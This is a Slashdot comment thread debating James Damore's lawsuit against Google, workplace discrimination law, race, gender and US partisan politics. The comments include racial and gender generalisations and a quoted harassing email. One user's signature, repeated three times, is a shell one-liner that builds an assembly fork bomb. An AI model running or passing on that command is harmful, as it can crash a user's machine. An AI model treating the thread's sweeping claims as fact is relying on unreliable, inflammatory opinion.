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James Damore Sues Google For Allegedly Discriminating Against Conservative White Men (theverge.com)
An anonymous reader shares a report: The author of the controversial memo that upended Google in August is suing the company, alleging that white, male conservatives are systematically discriminated against by Google. James Damore was fired as an engineer after a manifesto questioning the benefits of diversity programs was widely passed around the company. In a new lawsuit, he and another fired engineer claim that "employees who expressed views deviating from the majority view at Google on political subjects raised in the workplace and relevant to Google's employment policies and its business, such as 'diversity' hiring policies, 'bias sensitivity,' or 'social justice,' were/are singled out, mistreated, and systematically punished and terminated from Google, in violation of their legal rights."
About damn time. Let's see if the courts are as willing as social media platforms to allow racism and discrimination as long as it's against the "right" people.
Google was not only wrong to fire him, but Google's CEO Sundar Pichai should be fired for being inept. The man is fucking up Google in the worst possible ways.
I prefer the "u" in honour as it seems to be missing these days.
This reminds me of the days when Democrats in the Jim Crow south claimed it was only the 'Uppity' negroes who had problems with their legally imposed discrimination.
Guess who lost that battle.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It's such a relief to know that this same sort of delusional blathering is still being dished out by lefty shills. Because it's exactly what cost the Democrats nearly a thousand legislative seats, most of the governorships, both houses of congress, the White House, the Supreme Court, and millions of two-time Obama voters who'd had enough of the completely fake histrionics. Even destroy-Trump-all-the-time networks like CNN have moved on past your deprecated talking points about phony felony collusion that isn't even a thing and never happened, and are now trying their hardest to talk up psychological reasons for removal from office, because that's all they've got. Please, though, carry on. Because if we want to watch the Dems fall on their faces in 2018 exactly like they did in 2016, it's voices like yours that are going to get it done. Thanks!
Don't disappoint your bird dog. Go to the range.
Exactly. Any woman in my organization who complained would find herself on the street.
Prove anything by multiplying Huge Number times Tiny Number
I work with a generally older male crowd, and some of them are quite vocal about their views on gender. Some are borderline MRA/MGTOW types, having been taken to the cleaners in divorces, etc. None are old enough to be adults back in the 50s when barely any married woman worked outside the home, but certainly some are old enough to look upon that time with nostalgia. The major thing that separates these guys from Mr. Damore is that they don't use company resources to promote their views, and their views don't really affect the work of others. I have to listen to them, but in reality they're no different than your traditional conservative white male talk radio-quoting types. They still do their jobs and don't anger anyone enough to make them complain.
The thing that's different with Google is that I'm sure their legal counsel just told the executives to make the problem go away immediately. No company wants to deal with the expense of a lawsuit and the reputation hit of getting dragged into court because one of their employees is acting like a jerk. I know the company I work for would show me the door in 15 seconds if I personally caused any reputational damage, regardless of how internal the forum was, or how the information was leaked.
What I wonder is why the Aspergers/autism angle wasn't used instead. That's a legitimate protected class. I work with a lot of tech company employees, and outside of the SV startup brogrammer world, there are _a lot_ of non-neurotypical types working for vendors. Once you get below the product managers and feature designer types, the ones doing the super-low level stuff like writing kernel modules and device drivers aren't exactly extroverts. Going after Google for discriminating against disabled people is a lot less clickbait-y than "conservative white males."
Sounds like they need an union! at the very least you can talk about employment policies with out getting canned for it.
Protected classes. Race and gender are protected classes everywhere in the US, and political affiliation (and activities) are a protected class in California.
I remember people claiming that DaMore was a liberal or democrat, but I guess that's clarified now.
"First they came for the slanderers and i said nothing."
There may very well be laws against firing whistleblowers who were blowing the whistle on illegal discrimination.
Illegal discrimination would be anything that violates the equal protection clause
https://en.wikipedia.org/wiki/...
And if Google were illegally discriminating and Damore pointed this out, which he did, it would be illegal to fire him
https://www.workplacefairness....
In addition, the California State Legislature has adopted statutory protections for employees. Notably, California has a general whistleblower protection statute that protects employees who disclose illegal activity or refuse to participate in illegal activities. Whistleblowers are thus protected under both this statute and the common law public policy exception. Also, several other California statutes contain anti-retaliation provisions. Employees who engage in protected activities (usually filing a complaint or testifying) under laws in the following subject areas are protected from retaliation: discrimination, hazardous substances, occupational safety and health, and workers' compensation. Also, California protects employees who file a complaint relating to employee rights with Labor Commissioner.
Damore's memo was more subtle than his detractors give him credit for
https://web.archive.org/web/20...
He explains that 'Google has created several discriminatory practice' and suggests 'non discriminatory ways to reduce the gender gap'. So he could argue Google were breaking the law, he blew the whistle and they fired him.
Google have pots of money of course, so they'll probably pay him off. And go on discriminating.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Why does he need to worry about working again, after Google pays him $2 million to go away? Any time a firing is that hasty you know process mistakes were made that his lawyers can exploit.
I'd be more worried about your ability to get hired on at startups he helps fund in the future.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
...as an engineer after a manifesto questioning the benefits of diversity programs....
His manifesto did not question the benefits of the diversity program. It questioned its fficacy -- in other words, he questioned if Google could achieve more diversity by structuring the program differently.
And that's a very big difference. I really hate the level of journalism being thrown at this topic, here and everywhere else.
This is when it is handy to have a struggling actor with your same name. He paid for a lot of SEO.
I happen to think that there are fewer women in tech jobs, because there are fewer women who want tech jobs, but I am not stupid enough to say it out loud.
There can be plenty of reasons women don't want the jobs that have nothing to do with "girls can't do that job"-style thinking. For example, the mountain of mansplaining and coworkers like James Damore.
There are a number of different lists but a pretty good example of why James Damore has a decent chance at legal victory is here.
If he Google were anywhere else but California he probably would not be able to win. But then again, if Google were any place other than California he would not have been fired...
"There is more worth loving than we have strength to love." - Brian Jay Stanley
I remember people claiming that DaMore was a liberal or democrat, but I guess that's clarified now.
He probably is. His memo was pretty liberal leaning after all and there is a very large difference from classic Liberals (pro free speech, pro meritocracy) and Progressives (anti-speech that hurts feelings, pro-affirmative action and quotas).
However, he was portrayed as conservative by media and probably perceived as such by his employer. As you know, classic liberals these days are being labeled conservatives simply for holding the belief that gender disparity in some occupations could be entirely the result of freewill and biological differences that may promote different interests that lead to different career paths.
"Not to mention all the idiots who use words like boxen."
Anonymous Coward on Monday August 04, @06:49PM
But was instantiated incorrectly.
Mimetics Inc. Twitter
As opposed to all the other groups protests (discrimination, wage gap, "unwelcome advances", etc) that gave everyone at work the warm fuzzies and a general feeling of unity.
Just because you disagree doesn't mean it's not true.
Yeah, a black democrat named Barack Obama
Actually he was half black if need to be specific... There was a discussion on CSPAN3 or 2 of a book author talked about Obama and how he "walked in thin ice" about racism during his Presidency. Author said Obama was highly educated, married once and still is, two daughters doing well in school. Also well spoken, did appropriate sports like play golf, etc. If Obama was like Trump, he would have never been elected.
mfwright@batnet.com
Conservative is not. As one of those snowflakes I would like it to be, but those sort of worker protections have been shot down by (ironically) white, conservative men...
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Please, do not settle for non-disclosure agrrement, not even if they offer you a billion dollars.
I do not believe in karma. "Funny"=-6. Do good and forbid evil. Yours, Oft-Offtopic Flamebaiting Troll.
California explicitly protects based on political affiliation.
https://www.employmentattorneyla.com/blog/2017/06/what-are-californias-protected-classes-in-employment.shtml
Conservative isn't a political affiliation though, it's a political belief. He's not claiming that Google fired him for being a registered Republican (I think he actually claimed to be Independent?), but that they fired him because of his conservative beliefs.
The only thing necessary for evil to triumph is for it to be pitted against a slightly greater evil
Obama showed just how good our minority population has made itself to overcome the systemic racism in our society
Uhm... Perhaps you should start be denouncing the criminals and gangbangers who are of your own race, like most other races do? And I mean you, personally, not black people in general. Your minority population still makes up the majority of perpetrators of violent crimes against other members of your minority population. Speak out against that and put an end to it, then you'll have made yourself (again, you personally) "good". I know many black people who recognize this fact and speak out against it; those are good people. You, on the other hand, stand under the umbrella of someone else's accomplishment and claim you've overcome racism? No, Obama overcame racism, black men and women who decry the violent and ignorant actions of lesser individuals have overcome racism, but what have you done to better yourself?
I know I'm gonna get flamed hard for this and likely be downmodded into oblivion but, you know what? I don't care. What I'm saying needs to be said. Here it is: RACE ONLY MATTERS AS MUCH AS YOU LET IT MATTER.
APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
According to the Santa Clara Superior Court's website, Damore's lead attorney is Harmeet Kaur Dhillon.
Dhillon's Wikipedia entry says she is the former vice chairman of the California Republican Party, and the National Committeewoman of the Republican National Committee for California. An article from the San Francisco Daily Journal posted on Dhillon's website says she is a former American Civil Liberties board member.
On March 9, the Wall Street Jounal reported that she was being considered to run the Department of Justice’s Civil Rights Department of Justice. She apparently interviewed with both Jeff Sessions and Donald Trump, but was not offered or did not accept the job.
DuckDuckGoing her leads to lots of articles about her politics and personal life, but nothing about how many cases she has won. I bet Google will be represented by attorneys who have spent more time litigating and less time politicking.
It was not a "manifesto", let alone an anti-diversity one. That's what it was called in the media. Big difference.
Maybe they shouldn't have fostered a highly toxic work environment full of sexist / racist "SJW"s. Then speaking out against it wouldn't make all of of your coworkers hostile
One of my first supervisors was super religious and it never even occurred to me until almost 9 years later when he resigned and had some private conversations with me. At the office he did his job and didn't evangelize his personal beliefs even as important as they were to him. Entirely possible that 95% of the office was in agreement with him but he still had the discipline to keep that separation.
Do your own thing after you clock out. Till then; keep the peace.
Account -> Discussions -> Disable Sigs
It astounds me that American politics has devolved into confused name-calling and an almost complete inability to form coherent and rational arguments. Let's bring things back to reality; both major American political parties expound right wing, authoritarian viewpoints and philosophies. The only thing that differs is the degree.
Faced with that reality, it's bewildering that half of the US population supports the elephant party, while strongly believing that donkey party followers are complete loons (and vice-versa). That's simply not a sane conclusion. Just because someone votes a certain way doesn't automatically make them a blithering idiot, nor does it mean that they're not allowed to disagree with some of the policies put forward by the legislators they vote into office.
It's also pretty clear to anyone with a reasonable grasp of the English language that President Trump is prone to frequent odd outbursts and declarations that are sometimes completely incoherent and provably false. That should be cause for significant concern, whether you're conservative or liberal.
Turns out they are in California.
Damore is not a good person. He's an extremist who knows how to couch his arguments in a cloak of faux-rationality. Those of us on the left have been trying to warn those of you susceptible to his arguments that he's not actually being honest. Maybe we shouldn't care, but I really don't actually want anyone fooled by this nonsense.
And those of us on the old left are trying to warn you that you're susceptible to indoctrination into extremism when you paint moderate folks as extremists and endorse violence against them because you happen to disagree with their viewpoint.
Maybe we shouldn't care, but you guys are now legitimately advocating physical assault and violence against opinions, even mild and moderate opinions, simply because then don't toe the line with extreme identity politics.
"Not to mention all the idiots who use words like boxen."
Anonymous Coward on Monday August 04, @06:49PM
This is Slashdot, it's what we do.
Table-ized A.I.
Donald Trump's unhinged tantrums on Twitter are game theory. Tit for tat.
He is merely feeding back to the American public exactly what they are putting out.
Like your post. It is unhinged, ridiculous on its face (and increasingly so after any level of consideration), and a testament to the absolute insanity that partisanship foments. To me it looks identical to the Twitter account of Donald Trump in tone and intellect.
In many ways this fits the description I have heard about "the government you deserve." When the electorate learns maturity, restraint, and civility we will get mature, restrained, and civil governance.
When the only tool you have is a claw hammer every problem starts to look like the back of someone's skull.
Well no, he didn't. What he said is that there are differences on average between men and women and those differences can explain why a job is not exactly 50:50 male and female even in the absence of discrimination. He also pointed out that those differences are an average for a group and pointed out there's a lot of overlap. So saying 'women on average are more X than men' doesn't mean that 'each individual woman is more X than any man'. When the fake news media reported on his report they accused him of saying that 'men can code/women can't code', but he very carefully explained this was not what he was saying. And he even drew a nice diagram of two overlapping normal distributions to illustrate this point.
https://web.archive.org/web/20...
Note, I'm not saying that all men differ from all women in the following ways or that these differences are "just." I'm simply stating that the distribution of preferences and abilities of men and women differ in part due to biological causes and that these differences may explain why we don't see equal representation of women in tech and leadership. Many of these differences are small and there's significant overlap between men and women, so you can't say anything about an individual given these population level distributions.
He pointed out that Google's policies now discriminate against men and that there were non discriminatory ways to get more women to work there.
But why not try reading what he actually wrote rather than what other people - who have an agenda - said he wrote. I even linked to a copy of his memo so you can verify he said all the things I said he said, and carefully explained he was not saying what you accused him of saying.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I'm getting tired of reading this bullshit. Yeah, you'd have a case if it wasn't for google ASKING for everyone's opinion on how the workplace could be made better (whatever you want to define as better).
Damore said "Stop acting like we're all the same. Women have things to contribute, so adapt the workplace to their needs instead of molding it for a virtual template of a unisex humanoid that does not exist".
He pointed out what was, in his opinion, a mistake the company made and how they could go about fixing it. Only problem was reality doesn't fit Google's alternate facts.
It's a-okay for a car company to want to run according to other laws than those of physics however when you then notice that your sales could be better and ask for input and an engineer points this out, you either go "Well, guess we can't work according to cartoon physics any longer" or you go "Dude, thanks so much for wanting to help but that really doesn't fit into our dogma. Please consider either keeping this opinion to yourself in the future or we'll be glad to help you find other employment".
Yeah, yeah... they're not required by law to act like that but god damnit, it's the respectful thing to do. Then again, respect and ethics are not things US culture is known for comprehending.
There is no such thing as "reverse racism", racism is racism, and judging people by the color of their skin is always wrong, even if your purpose is to help the person.
There are no such thing as good racism, as you're always reducing the person to his physical features.
It astounds me that American politics has devolved into confused name-calling and an almost complete inability to form coherent and rational arguments.
That's mostly how it appears on TV.
"On the ground" in the state and local governments, things are generally more sane.
It's also pretty clear to anyone with a reasonable grasp of the English language that President Trump is prone to frequent odd outbursts and declarations that are sometimes completely incoherent and provably false. That should be cause for significant concern, whether you're conservative or liberal.
Our political system doesn't really have all that many checks or balances in it. It has primarily worked on social norms. Continuous, blatant lying used to violate those norms, and so would cause some repercussions.
However, the Republican party currently sees an advantage in torching all those norms, and gerrymandering and legislative structure gives them about a 10-15% popular vote buffer to retain power. So there's no one with sufficient power who is willing to step in.
What will get "interesting" is when that 10-15% buffer is not large enough, and the Democratic party seizes absolute power with no social norms remaining. Because the climb over that buffer is not being done by the right-wing of the party, but the left. The right-wing of the party will want to restore the norms. The left wing of the party will find that unacceptable. And thus things start to get really interesting.
Donald Trump's unhinged tantrums on Twitter are game theory. Tit for tat.
He is merely feeding back to the American public exactly what they are putting out.
I totally agree. However, if you think Barack Obama or Hillary Clinton did anything different you are deceiving yourself the difference is really that Trump is a poor liar compared to those two. The reason he was elected is because the American public is tired of a the 'elite' creating a legal and political system that is a complete vacuum of logic. Consider the two of the hot button issues of they day , gay rights and abortion rights. Then aside from the term 'legal right' try and define the term 'right' without any reference to a deity or religion. The simple fact is the 'trump effect' is exactly what you get if you don't have any belief in a morality that demands social responsibility, self control, personal integrity. All of those things however are non-sense without context unless you have a workable , rational , moral framework from which to define them and agnosticism and atheism and for that matter liberal Protestantism, which naturally leads to the former , are not capable of creating the necessary philosophical and mental framework that supports the existence of a populous and culture that embraces values of personal integrity and policies based on hard data and logic. Still, those moral frameworks are exactly the ones enshrined in the democratic platform and regular pushed by all American large media outlets , which themselves show no inclination for either integrity of information or truth, but rather filter information to create a political illusion consistent with the ratings that fuel them..
âoeTolerance applies only to persons, but never to truth. Intolerance applies only to truth, but never to persons.
It's a joy, really, to have this recapitulation of the "Slashdot Reading Comprehension Test", where we find out exactly which Slashdot posters can actually read an argument and understand its major points. Or whether they even bother to read it at all.
Case in point would be this fellow Locke2005, who has no idea what Damore said, what the timeline was of how this document got out of Google (or how it did so), or even why Damore wrote it in the first place.
But he does call Damore a "douchebag", which I guess he thinks passes for deep thought and a knowledgeable viewpoint regarding these issues.
see here.. Ben Shapiro is quite possibly the least credible source you could have sited. You can probably email the professor sited (or buy/read his books) if you want more sources.
And it happened between today and the _1860s_, not the 1960s. If you only go back 70 years yeah, you won't find evidence, because you didn't go back far enough. But that was the point, wasn't it?
Also, nice straw man. Whether the Ds & Rs switched sides has nothing to do with the reality of the Southern Strategy. The evidence for which comes from Republican strategists who came clean out of guilt. And that's before we start talking about stuff like how our (heavily supported by Republicans) Drug War is basically a round about way to enforce racial segregation or how all those civil war statues the party's so busy defending were put up in the eras of Jim Crow laws.
Seriously, you can't be this naive. You have to know this stuff. You're either being willfully ignorant to preserve a world view that makes you feel good about yourself or your hoping to join 'ole Benny S. in the popular pass time of making money off the working class by selling them political viewpoints that solve nothing but do separate the working class (there's that Southern Strategy rearin' it's ugly head again).
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there's two types of Dem. There's the Corporate Dem, who is just like a Republican in that they serve the ruling class to the detriment of the working class, only they don't hate Gays. Several of these are currently supporting Jeff Session's bid to crack down on State laws legalizing marijuana.
Then there's the Democratic Socialists. The Bernie Bros. I don't see these guys getting anywhere. Nobody wants to pay for something else's medical care. Nobody want to pay for their schools. Sure, you can argue that such things benefit everyone (e.g. we could pay our national debt off in 10 years with the money single payer healthcare would save, look it up). But it still doesn't _feel_ right. Especially with a good chunk of the country bigoted against _somebody_. We're balkanized. We're not Americans. We're White Americans. Black Americans. Gay Americans. Christian Americans. But we're not Americans.
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We all want to be with people like us. That means living near, hiring, being hired by, buying from, selling to, dating, marrying, breeding with, befriending, having them as our law enforcement officers and judges, seeing them daily, and having shared cultural standards and mores with them.
Robert Putnam (author of Bowling Alone) had some convincing research on the failure of diversity which explains our balkanized and atomized state:
Alternative Right.
Then you end up with a company full of white male sex offenders. I say we allow it; if they're all working there, they're not intermixing with the general population and other, more same companies are better off for it.
You've never worked a day in your life, in a female dominated office have you? The shit that men say is tame, sexual harassment against men is rampant as well. Here's an example: When was the last time you head a group of guys standing around talking about how best to knock a women up, so she can get married and have an easy-train to alimony. I head the exact opposite from women, and worse. Everything from lying to be on BC, to stop taking it, to putting holes in condoms, to digging through the trash after sex for one. If you really want to hear about my own personal experiences ranging from both a fortune 500 company and in government offices? Reply, I'll be happy to give you examples.
The problem is for men, there's no real recourse except to put up with it. If HR hates you for bringing it up, they will schedule you in with the person harassing you, if they really hate you, they'll put you both in, early, before everyone else shows up, or make you stay late. Just like there are no real domestic violence shelters for men, and there's a big need for them. The fact that feminists who claim it's all about equality fight so hard against having male DV shelters should tell you exactly what type of equality they're fighting for.
Om, nomnomnom...
that is what happens when you scream "ist!" about everyone you disagree with, soon nobody gives a shit because you have used the term so often it has become meaningless.
The parts of the US that identifies as liberal feels exactly the same way about conservatives and the term's "snowflake", "cuck", "triggered" and.. really anything that falls out of your mouths to be honest.
they will roll out the HR termination paperwork documenting how he was abusing other employees because they weren't white
Ha. All he did was state his opinion that Google's policies and culture were discriminatory. For that, HE was abused by the social "justice" idiots that rule the roost at Google, like this asshole:
From: Alex Hidalgo <ahidalgo@google.com>
Subject: You are a terrible person
Date: Fri, Aug 4, 2017 at 10:38 PM
To: James Damore <damore@google.com>
Feel free to pass this along to HR. Keep them in the loop for all I care. May as well do it early.
You're a misogynist and a terrible human. I will keep hounding you until one of us is fired. Fuck you.
-Alex
https://www.scribd.com/documen...
He didn't voice his opinion publicly. He voiced his opinion in a private company blog after Google asked him for his opinion. Then someone leaked it.
-- Will program for bandwidth
You sir, are dishonest. I am an atheist and my moral code is strong and established by my choices. The reason I am an atheist is that you and your religious compatriots follow the moral codes of "gods" that do not have any morals themselves.
You naked a public statement that implies I am mentally incompetent, that I and others like me "are not capable of creating the necessary philosophical and mental framework that supports the existence of a populous and culture that embraces values of personal integrity and policies based on hard data and logic."
You fail your own moral standards.
The bible is logical? I do not think so.
Monster.com enables recruiters to check a box to "include diversity candidates" to include resumes from their "Diversity and Inclusion network" in search results. They appear to have built a monetized product around this. Can somebody please explain to me how the existence of this checkbox is not discriminatory? https://hiring.monster.com/jcm...
It's also pretty clear to anyone with a reasonable grasp of the English language that President Trump is prone to frequent odd outbursts and declarations that are sometimes completely incoherent and provably false. That should be cause for significant concern, whether you're conservative or liberal.
I oppose Trump but I wonder if some of the things he says aren't just trickery to keep people talking about his chosen topic. Every time he misstates a number or fact, that becomes another piece of news. In fact, it often becomes the News of the Day. It brings attention to the topic, and the news organizations dogpile on either supporting or proving it incorrect.
His detractors aren't going to change their opinion of Trump over the misstatement, his supporters likely won't, and Trump's chosen issue becomes the issue of the day, blocking out many other current events. It is a highly effective distraction technique. There were plenty of such distractions when the tax bill was going through congress, and any time negative news about Trump is circulating.
On the other hand, he might be completely crazy and any positive effects of that are simply coincidental.
Even those who arrange and design shrubberies are under considerable economic stress at this period in history.
"I have a dream that my four little children will one day live in a nation where they will not be judged by the color of their skin but by the content of their character." -MLK
You guys would tear him apart these days for the things that he said, if you ever even bothered to read them!
If you want a vision of the future, imagine a youtube comments section scrolling - forever.
It is really quite funny how completely out of touch most of the Google critics are when it comes to the chances of success at trial. What are the odds the CEO did (1) "Hey, fire this guy for what he said.", versus (2) "A few of these things he said seem to me might they violate existing policies. Please have HR review it and get back to me in writing with what they determine"?
In the second case, Damore's suit is simply doomed. It requires very little bureaucratic skill to take down a blabbermouth and be 100% in compliance with the law.
It is unfortunate Damore could not have written in a more succinct and focused style, because he did write a few uncomfortable and controversial arguments that were well worth discussing. Pity. But Damore himself has to own that. White male privilege is insufficient to protect him from the consequences of his own actions, in today's world.
It astounds me that American politics has devolved into confused name-calling and an almost complete inability to form coherent and rational arguments.
That's mostly how it appears on TV.
I think he was referring to right here on Slashdot, as this is exactly how any politically charged, public discussion devolves. Sound and reasonable arguments do get modded up, but sadly so do comments that are mostly just feel-good flag waving for one side or the other.
> This while one party lobbies for social services, civil rights, gay rights, health care, immigration reform, etc., and the other stridently resists it at all turns.
So your side is virtuous and the other side is evil and the only reason you can't be more virtuous.
This is exactly the sort of unhinged nonsense that turns off the moderate liberals and independents.
Also, not everyone that's liberal is also a socialist. So lumping that kind of crap in with the liberty issues is kind of a non starter for some of us.
A Pirate and a Puritan look the same on a balance sheet.
The Bible talks about morals and the spiritual experience of relationship to the divine as two very different and separate things. If someone says that morals only come from deity, and then recommends the Christian god as the source, just know that this individual does not understand the book they are talking about. They are fundamentally uninformed, ignorant, or deeply misinformed about the Bible and Christianity and should not be relied on as an authoritative source.
Additionally, your consideration of the spiritual life is just as misinformed as the person who says that morals only come from deity. The fundamental concept of Christianity is that at the moment of belief there is no longer any punishment, and all rewards are imputed to the believer at that instant as well. All the work is done by the divine, not by man. What this arrangement provides is not morality, but an experience of life that is beyond obsessive preoccupation with self condemnation, doubt, and negative self reference.
By contrast, one can be incredibly moral and base that morality on the constant observation of what is wrong, both inside themselves and in the observed actions of others. This leads to the holier-than-thou syndrome that so puts others off. It is evident in everything from virtue signaling to self righteousness in religious people. In addition, morality can be closely related to empathy, understanding, and initiative. This is where you see true charity, anonymous giving, compassion, etc. Neither of these are the spiritual life.
In contrast, the spiritual life removes the problem of human fallibility as a reference point and replaces it with the knowledge that there is only one frame of reference from which all human experience and endeavors can be judged perfectly, and the consciousness that occupies that frame of reference has declared you free, accepts you fully as you are, loves you completely, and will provide for you in every moment of life. Free from condemnation, free from the debts created by your imperfection, from your lack of sight, and your human fallibility, accepted in spite of your constant self recrimination, by a being of infinite purity and sight, and provided for, supported, and loved in every moment of life. This experience of life means that the individual comes from a place of gratitude, recognition, and understanding of the divine, breathing in infinite blessing from the divine, and breathing out unadulterated reflection of that blessing toward mankind. The results may look the same, however it is the experience of life for the spiritual practitioner that is fundamentally different.
Sure, it's a lens. Does it mean anything, in a cosmic sense? No one knows until death. In the meantime, its a blast to live in that place, if you can get there.
When the only tool you have is a claw hammer every problem starts to look like the back of someone's skull.
> And by supporting that racist, misogynistic piece of crap they are contributing to a culture in this country that is racist and misogynistic.
Or maybe they just researched the white gloves crimes of Clinton, or got most blatantly, rudely cheated out of the chance to vote Sanders and they voted *the other candidate*?
Lots of Trump voters voted Trump only because they were sick and tired of empowering the Clintion mafia, and of being brainwashed that this is about genders, minorities, racial issues - while it was all about MONEY.
And the defenders of Clinton still keep on playing the whole gender/race red herring card. No, it's about the Clinton dynasty losing the crown to some upstart with his own business connections, disrupting the flow of money to Clintons and their secret supporters.
45 5F E1 04 22 CA 29 C4 93 3F 95 05 2B 79 2A B2
We have hired every female and minority candidate who I've interviewed over eleven years.
Could you provide the name of your company, so I can short the stock?
lucm, indeed.